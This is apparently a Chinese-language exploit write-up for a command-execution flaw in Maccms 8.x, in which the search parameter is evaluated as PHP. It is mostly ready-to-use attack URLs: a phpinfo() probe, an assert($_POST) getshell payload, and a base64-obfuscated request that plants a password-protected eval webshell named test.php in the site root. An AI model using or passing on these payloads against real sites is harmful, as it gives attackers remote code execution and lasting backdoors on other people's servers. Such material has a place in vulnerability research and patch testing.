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Maccms 8.x(苹果cms)命令执行漏洞

一、漏洞简介

搜索页面搜索参数过滤不严

导致直接eval执行PHP语句,前台命令执行可getshell

二、漏洞影响

Maccms 8.x

三、复现过程

payload:

http://url/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}

getshell payload(a):

http://url/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

POST

a=phpinfo()

写入网站根目录一句话木马文件payload(文件名:test.php,密码:test):

http://url/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28dGVzdC5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW3Rlc3RdKTsgPz4%29%29)}{endif-A}